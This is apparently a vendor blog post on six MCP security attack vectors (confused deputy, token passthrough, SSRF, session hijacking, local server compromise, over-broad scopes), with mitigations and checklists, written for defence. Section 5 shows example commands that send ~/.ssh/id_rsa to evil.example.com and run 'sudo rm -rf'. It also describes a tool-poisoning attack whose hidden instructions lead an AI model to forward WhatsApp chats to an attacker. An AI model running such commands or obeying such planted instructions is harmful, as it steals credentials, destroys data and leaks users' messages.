MCP Security Best Practices: 6 Attack Vectors Every Team Should Know
The MCP specification defines six critical attack vectors, from confused deputy exploits to session hijacking. Here's how each one works and what to do about it.
Key Takeaways
- The MCP specification identifies six critical attack vectors that affect proxy servers, local clients, and remote deployments alike.
- Token passthrough is explicitly forbidden by the spec, yet remains one of the most common anti-patterns in production.
- Real-world exploits already exist, including the WhatsApp data exfiltration attack demonstrated by Invariant Labs in 2025.
- Each attack vector has concrete mitigations you can implement today, from per-client consent flows to egress proxies.
- MCP security controls map directly to SOC 2 and ISO 27001 requirements your organization likely already tracks.
Model Context Protocol (MCP) has become the standard for connecting AI assistants to external tools and data sources. Claude Code, Cursor, VS Code with Copilot, and dozens of other AI tools rely on MCP servers to access databases, APIs, file systems, and cloud services.
The security implications are significant: a compromised MCP server gives attackers access to everything the AI assistant can touch.
The MCP specification documents six attack vectors that every team adopting MCP should understand. This post breaks down each one with practical mitigations, code examples, and implementation checklists.
1. The Confused Deputy Problem
The confused deputy attack targets MCP proxy servers, servers that sit between MCP clients and third-party APIs while acting as a single OAuth client to the third-party authorization server.
How It Works
Four conditions must all be present for this attack to succeed:
- The MCP proxy server uses a static client ID with the third-party authorization server
- The proxy allows MCP clients to dynamically register (each getting their own
client_id) - The third-party auth server sets a consent cookie after the first authorization
- The proxy does not implement per-client consent before forwarding to third-party authorization
When all four conditions are met, the attack unfolds like this:
- A legitimate user authenticates through the MCP proxy to access the third-party API
- The third-party auth server sets a consent cookie for the static client ID
- An attacker sends the user a crafted authorization link with a malicious redirect URI and a new dynamically registered client ID
- The user clicks the link. The browser still has the consent cookie from the previous legitimate request
- The third-party auth server detects the cookie and skips the consent screen entirely
- The authorization code redirects to the attacker's server
- The attacker exchanges the stolen code for access tokens and gains API access as the compromised user
Mitigations
Per-client consent storage. The MCP proxy server MUST maintain a registry of approved client_id values per user and check this registry before initiating the third-party authorization flow.
Consent UI requirements. The consent page MUST clearly identify the requesting MCP client by name, display the specific third-party API scopes being requested, and show the registered redirect_uri. Implement CSRF protection and prevent iframing via frame-ancestors CSP directive.
Consent cookie security. If using cookies, use the __Host- prefix for cookie names, set Secure, HttpOnly, and SameSite=Lax attributes, bind them to the specific client_id (not just "user has consented"), and cryptographically sign them.
Redirect URI validation. Use exact string matching for redirect_uri validation. Never use pattern matching or wildcards.
Confused Deputy Checklist
- Per-client consent registry implemented (server-side database or signed cookies)
- Consent UI displays client name, scopes, and redirect URI
- CSRF protection on consent endpoints (state parameter, CSRF tokens)
-
__Host-prefix cookies withSecure,HttpOnly,SameSite=Lax - Redirect URI validated with exact string matching
- OAuth
stateparameter generated with cryptographically secure randomness -
statevalues are single-use with short expiration (10 minutes max) -
statetracking cookie set only AFTER user approves consent (never before)
2. The Token Passthrough Anti-Pattern
Token passthrough is an anti-pattern where an MCP server accepts tokens from an MCP client without validating that the tokens were properly issued to the MCP server, then passes them directly to a downstream API.
The MCP specification is unambiguous: this is forbidden.
Why It Matters
Security control circumvention. MCP servers implement rate limiting, request validation, and traffic monitoring that depend on token audience constraints. Token passthrough lets clients bypass all of these controls.
Broken audit trails. The MCP server cannot distinguish between clients when tokens are opaque upstream-issued tokens. Downstream logs show requests from a different source with a different identity. Incident investigation becomes unreliable.
Trust boundary violations. Downstream resource servers grant trust to specific entities with assumptions about origin and client behavior. If a token is accepted by multiple services without proper validation, compromising one service grants access to all connected services.
Future compatibility risk. Even "pure proxy" servers today may need security controls later. Proper token audience separation from the start makes the security model evolvable.
The Correct Pattern
Instead of passing client tokens through, MCP servers should obtain their own tokens for downstream APIs:
// WRONG: Token passthrough
async function callDownstreamAPI(clientToken: string) {
// Never forward the client's token directly
return fetch("https://api.example.com/data", {
headers: { Authorization: `Bearer ${clientToken}` }
});
}
// CORRECT: Server obtains its own token
async function callDownstreamAPI(userId: string) {
// Exchange for a server-scoped token using token delegation (RFC 8693)
const serverToken = await tokenExchange({
grant_type: "urn:ietf:params:oauth:grant-type:token-exchange",
subject_token: getUserToken(userId),
subject_token_type: "urn:ietf:params:oauth:token-type:access_token",
audience: "https://api.example.com",
scope: "read:data"
});
return fetch("https://api.example.com/data", {
headers: { Authorization: `Bearer ${serverToken.access_token}` }
});
}
Token Passthrough Checklist
- MCP server validates that all tokens were explicitly issued to it (correct
audience) - Token delegation (RFC 8693) used for downstream API calls
- No client tokens forwarded directly to any downstream service
- Access tokens are short-lived (minutes, not hours)
- Token audience matches your configured server identifier (never generic like
api) - All token exchanges logged with correlation IDs
3. Server-Side Request Forgery (SSRF)
During OAuth metadata discovery, MCP clients fetch URLs from sources that could be controlled by a malicious MCP server. This creates SSRF opportunities.
The Attack Vector
A malicious MCP server can populate OAuth metadata fields with URLs pointing to internal resources:
Client -> Malicious MCP Server: Connect
Malicious MCP Server -> Client: 401 + resource_metadata="http://169.254.169.254/..."
Client -> Cloud Metadata Service: GET http://169.254.169.254/latest/meta-data/
Cloud Metadata Service -> Client: IAM credentials, instance metadata
Client -> Malicious MCP Server: Error details containing leaked data
The attack targets three URL categories in the OAuth flow:
- The
resource_metadataURL from theWWW-Authenticateheader - The
authorization_serversURLs from the Protected Resource Metadata document - The
token_endpoint,authorization_endpoint, and other URLs from Authorization Server Metadata
A malicious server can point these at cloud metadata endpoints (169.254.169.254), internal services (192.168.1.1), or localhost (127.0.0.1:6379 to hit Redis), exfiltrating credentials and mapping internal infrastructure.
DNS Rebinding
A subtler variant uses DNS rebinding: the attacker's domain resolves to a safe IP during validation, then switches to an internal IP during the actual request. This bypasses naive IP-based checks. Pin DNS resolution results between the check and the use, and combine DNS checks with other mitigations.
Mitigations
Enforce HTTPS. Require HTTPS for all OAuth-related URLs in production. Reject http:// URLs except for loopback addresses during development.
Block private IP ranges. Following RFC 9728 Section 7.7, block: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16 (cloud metadata), fc00::/7, fe80::/10, and ::1. Do not implement IP validation manually, as attackers exploit encoding tricks (octal, hex, IPv4-mapped IPv6) that custom parsers miss.
Use egress proxies. For server-side deployments, route OAuth discovery requests through an egress proxy like Smokescreen that blocks internal destinations.
Validate redirect targets. Do not follow redirects blindly. Apply HTTPS and IP range restrictions to every redirect hop.
SSRF Checklist
- HTTPS enforced for all OAuth metadata URLs in production
- Private IP ranges blocked (RFC 1918, link-local, loopback)
- Cloud metadata endpoints explicitly blocked (
169.254.169.254) - Egress proxy configured for OAuth discovery requests
- IP validation uses proven libraries (not custom parsing)
- DNS results pinned between validation and request
- Redirect following disabled or validated per hop
4. Session Hijacking
The MCP specification identifies two session hijacking variants that exploit weak session management in multi-server environments.
Variant 1: Session Hijack via Prompt Injection
In a multi-server setup:
- Client connects to Server A and receives a session ID
- Attacker obtains the session ID and sends a malicious event to Server B using that ID
- Server B enqueues the event into a shared queue
- Server A polls the queue and retrieves the malicious payload
- Server A sends the payload to the client as a resumed response
- The client acts on the malicious payload
When a server supports resumable streams, an attacker can deliberately terminate a request before receiving the response, causing it to be resumed by the original client. If a server initiates SSE as a consequence of a tool call (such as notifications/tools/list_changed), the client could end up with tools they were not aware were enabled.
Variant 2: Session Impersonation
- MCP client authenticates, creating a persistent session ID
- Attacker obtains the session ID through guessing, interception, or other means
- Attacker makes calls to the MCP server using the stolen session ID
- MCP server does not check for additional authorization and treats the attacker as the legitimate user
Mitigations
Authenticate every request. MCP servers that implement authorization MUST verify all inbound requests. Sessions are NOT authentication.
Secure session ID generation. Use cryptographically secure random number generators for session IDs. Avoid predictable or sequential identifiers. Rotate and expire session IDs regularly.
Bind sessions to user identity. Combine session ID with user-specific information derived from the authentication token:
// Bind session to authenticated user identity
function createSessionKey(userId: string, sessionId: string): string {
// User ID comes from the validated auth token, not from client input
return `${userId}:${sessionId}`;
}
// When processing requests, verify binding
function validateSession(
authToken: DecodedToken,
sessionId: string
): boolean {
const expectedKey = createSessionKey(authToken.sub, sessionId);
const storedSession = sessionStore.get(expectedKey);
if (!storedSession) return false;
if (storedSession.expiresAt < Date.now()) return false;
return true;
}
Session Hijacking Checklist
- Authorization verified on every inbound request (not just session creation)
- Session IDs generated with cryptographically secure randomness (e.g., UUIDv4 with secure RNG)
- Sessions bound to user identity (
user_id:session_idkey format) - User ID derived from validated auth token, never from client input
- Session expiration and rotation implemented
-
Mcp-Session-Idtreated as untrusted input - Session regenerated on authentication state changes
5. Local MCP Server Compromise
Local MCP servers are binaries downloaded and executed on the same machine as the MCP client. This creates a direct path to arbitrary code execution.
Real-World Example: The WhatsApp Exfiltration
In April 2025, Invariant Labs demonstrated a WhatsApp MCP vulnerability that let attackers steal message history without breaking encryption. The attack combined tool poisoning with unrestricted network access:
- A malicious MCP server masquerades as a benign "random fact of the day" tool
- The tool description is later updated to include hidden instructions that manipulate the WhatsApp MCP server running in the same agent session
- The AI model reads the poisoned description and follows the hidden instructions, calling
list_chats()andsend_message()to forward messages to the attacker's phone number - Exfiltrated data is hidden off-screen using whitespace, making it invisible in interfaces that hide horizontal scrollbars
This attack required no special privileges. The MCP server simply ran with the same permissions as the AI assistant.
Attack Vectors
# Data exfiltration disguised as MCP server setup
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://evil.example.com
# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"
These commands can be embedded in MCP client configuration files and executed when the user clicks "install" on what appears to be a legitimate MCP server.
Mitigations
Pre-configuration consent. If your MCP client supports one-click server configuration, it MUST show the exact command that will be executed (without truncation), clearly identify it as code execution on the user's system, and require explicit approval.
Sandbox execution. Execute MCP server commands in sandboxed environments with minimal default privileges. Use platform-appropriate technologies: containers, chroot, application sandboxes. Restrict file system, network, and system resource access by default.
Transport restrictions. Use stdio transport for local servers to limit access to just the MCP client. If using HTTP transport, require an authorization token, bind to 127.0.0.1 only, and validate Origin headers.
Local Server Compromise Checklist
- Startup commands shown to users in full before execution
- Dangerous command patterns flagged (
sudo,rm -rf, network operations) - Warnings displayed for access to sensitive directories (~/.ssh, home dir)
- MCP servers sandboxed with minimal default privileges
-
stdiotransport used for local servers (preferred over HTTP) - If HTTP: bound to
127.0.0.1, Origin headers validated, auth token required - Tool description changes trigger user notification
- MCP server dependencies scanned for known vulnerabilities
6. Scope Minimization
The final attack vector exploits over-permissioned tokens. When an MCP server exposes every scope in scopes_supported and the client requests them all up front, a stolen token grants access to everything.
The Problem with Broad Scopes
Consider a token carrying files:*, db:*, admin:* that was granted up front because the server published every scope and the client requested them all. If that token leaks through log exposure, memory scraping, or local interception:
- Expanded blast radius: the attacker accesses every tool and resource
- Revocation disrupts everything: revoking one omnibus token breaks all workflows
- Audit noise: a single broad scope masks user intent per operation
- Privilege chaining: the attacker immediately invokes high-risk tools without elevation prompts
The Progressive Least-Privilege Model
The MCP specification recommends a progressive approach:
- Start minimal. Issue tokens with only baseline scopes (e.g.,
mcp:tools-basic) covering low-risk discovery and read operations - Elevate on demand. When a privileged operation is first attempted, the server responds with a targeted
WWW-Authenticatescope="..."challenge - Down-scope gracefully. Servers should accept reduced-scope tokens. The auth server MAY issue a subset of requested scopes
Server guidance: emit precise scope challenges. Never return the full catalog. Log every elevation event with correlation IDs.
Client guidance: begin with only baseline scopes. Cache recent failures to avoid repeated elevation loops for denied scopes.
Common Scope Mistakes
- Publishing all possible scopes in
scopes_supported - Using wildcard or omnibus scopes (
*,all,full-access) - Bundling unrelated privileges to preempt future prompts
- Returning the entire scope catalog in every challenge
- Silent scope semantic changes without versioning
- Treating claimed scopes in the token as sufficient without server-side authorization logic
Scope Minimization Checklist
- Tokens issued with minimal initial scope set
- Incremental scope elevation via
WWW-Authenticatechallenges - No wildcard or omnibus scopes (
*,all,full-access) - Server accepts reduced-scope tokens gracefully
- Scope challenges are precise, never the full catalog
- Elevation events logged with correlation IDs
- Server-side authorization enforced (never trust claimed scopes alone)
- Scope changes versioned with clear migration paths
Beyond the Spec: Practical Deployment Security
The six attack vectors above come directly from the MCP specification. In practice, securing MCP deployments also requires operational controls that the spec assumes you will implement.
Use Established Security Infrastructure
Microsoft and Google have both published guidance on securing MCP in enterprise environments. Microsoft's approach emphasizes maintaining a catalog of authorized MCP servers, requiring consent before tool invocations, and monitoring for configuration drift. Google's guidance focuses on centralizing authentication through the Google Identity Platform and feeding logs into Security Command Center.
Run Security Scanning
Tools like Invariant MCP-Scan can detect tool poisoning, cross-origin escalation, and other MCP-specific vulnerabilities in CI/CD pipelines. Google's mcp-security project provides additional analysis capabilities. These complement traditional SAST and dependency scanning.
Treat MCP Servers as High-Privilege Components
An MCP server often runs with the same privileges as the authenticated user. A compromised dependency is not a nuisance. It's an incident. Apply the same rigor you would to any component inside your trust boundary: source review, vulnerability scanning, strict secret handling, and runtime monitoring.
Map to Compliance Frameworks
If you're SOC 2 or ISO 27001 certified, MCP security controls map directly to requirements you already track:
| MCP Security Domain | SOC 2 Criteria | ISO 27001 Controls |
|---|---|---|
| Confused Deputy / Auth | CC6.1, CC6.2, CC6.3 | A.9.2, A.9.4 |
| Token Management | CC6.1, CC6.6 | A.9.4, A.13.1 |
| SSRF Prevention | CC6.6, CC6.7 | A.13.1, A.14.2 |
| Session Security | CC6.1, CC7.2 | A.9.1, A.9.4 |
| Local Server Hardening | CC7.1, CC8.1 | A.12.1, A.12.5 |
| Scope & Access Control | CC6.1, CC6.3 | A.9.2, A.9.4 |
Document these controls in your security policies. Auditors will increasingly ask about AI tool governance.
Getting Started: Priority Actions
This week:
- Inventory all MCP servers in use across your organization
- Audit MCP configuration files for hardcoded credentials
- Verify that no MCP server passes client tokens through to downstream APIs
This month:
- Implement per-client consent flows for any MCP proxy servers
- Add SSRF protections (HTTPS enforcement, private IP blocking) to MCP clients
- Set up logging for all MCP tool invocations
This quarter:
- Deploy egress proxies for OAuth metadata discovery
- Implement progressive scope elevation
- Add MCP-specific security scanning to your CI/CD pipeline
Frequently Asked Questions
The confused deputy attack exploits MCP proxy servers that use a static client ID with third-party authorization servers. When the proxy allows dynamic client registration and the third-party server uses consent cookies, an attacker can craft a malicious authorization link that skips the consent screen and redirects tokens to their server.
Token passthrough, where an MCP server forwards client tokens directly to downstream APIs, breaks audit trails, circumvents security controls, and creates trust boundary violations. The MCP specification explicitly forbids it. Use token delegation (RFC 8693) instead.
During OAuth metadata discovery, MCP clients fetch URLs provided by the MCP server. A malicious server can point these URLs at internal resources like cloud metadata endpoints (169.254.169.254), local services, or private network hosts, enabling credential theft and internal reconnaissance.
In April 2025, Invariant Labs demonstrated that a malicious MCP server could exfiltrate WhatsApp message history by poisoning tool descriptions. The hidden instructions manipulated the AI model into reading chats and forwarding messages to the attacker's phone number, all without breaking encryption.
MCP security controls map to existing compliance requirements: authentication and authorization (CC6.1-CC6.3), boundary protection (CC6.6), monitoring (CC7.x), and change management (CC8.x) for SOC 2. For ISO 27001, they map to access control (A.9), communications security (A.13), and development security (A.14).
Invariant MCP-Scan detects tool poisoning and cross-origin escalation. Google's mcp-security project provides static analysis. Enterprise solutions like Pomerium and Okta Agent Gateway add runtime enforcement with Zero Trust policies and centralized identity management.
Bastion helps SaaS companies secure their AI toolchains while meeting SOC 2 and ISO 27001 compliance requirements. Our managed compliance services include MCP security assessments, policy documentation, and audit preparation. Get started with Bastion.
Sources
- MCP Security Best Practices - Official MCP specification security documentation
- MCP Authorization Specification - OAuth 2.1 authorization model for MCP
- Invariant Labs: MCP Security Notification - Tool poisoning attack demonstration
- OWASP Practical Guide for Secure MCP Server Development - Comprehensive MCP security framework
- Microsoft: Understanding and Mitigating Security Risks in MCP - Enterprise MCP security guidance
- Google Cloud: How to Secure Your Remote MCP Server - Cloud-native MCP security
- RFC 8693: OAuth 2.0 Token Exchange - Token delegation standard
- RFC 9728: OAuth Protected Resource Metadata - SSRF mitigation guidance
Share this article
Related Articles
OpenClaw Security Best Practices: How to Deploy AI Agents Without Exposing Your Organization
OpenClaw's rapid adoption has outpaced its security defaults. Learn how to lock down network bindings, manage secrets, enforce least privilege, vet third-party skills, and monitor agent activity to keep your deployment secure and compliant.
OpenClaw Inbox Wipe: 7 AI Agent Security Lessons Every Startup Needs to Learn
An AI email tool deleted Meta's AI Alignment director's entire inbox and ignored stop commands. Here's what startups can learn about AI agent security, kill switches, and compliance controls.
Nx Supply Chain Attack Exposes Thousands of Developer Credentials on Github - What you should do to keep your organization secure
In August 2025, attackers compromised popular Nx npm packages, embedding malware that stole developer credentials and published them openly on GitHub. Millions risk exposure, from API keys to cloud access tokens. Organizations must urgently rotate credentials, update dependencies, audit logs, and adopt stricter supply chain security practices.
Learn More About Compliance
Explore our guides for deeper insights into compliance frameworks.
What is an Information Security Management System (ISMS)?
An Information Security Management System (ISMS) is at the heart of ISO 27001 certification. Understanding what an ISMS is and how to build one is essential for successful certification. This guide explains everything you need to know.
Security Update Management: Staying Protected
Security update management (also known as patch management) is about keeping software current and protected against known vulnerabilities. When a vulnerability is discovered and publicised, attackers often develop exploits quickly. Timely patching is one of the most effective ways to protect your organisation.
ISO 27017 and ISO 27018: Cloud Security Standards
ISO 27017 and ISO 27018 extend ISO 27001 with specific guidance for cloud computing environments. Understanding these standards helps cloud service providers and their customers address cloud-specific security and privacy requirements.
Other platforms check the box
We secure the box
Get in touch and learn why hundreds of companies trust Bastion to manage their security and fast-track their compliance.
Get Started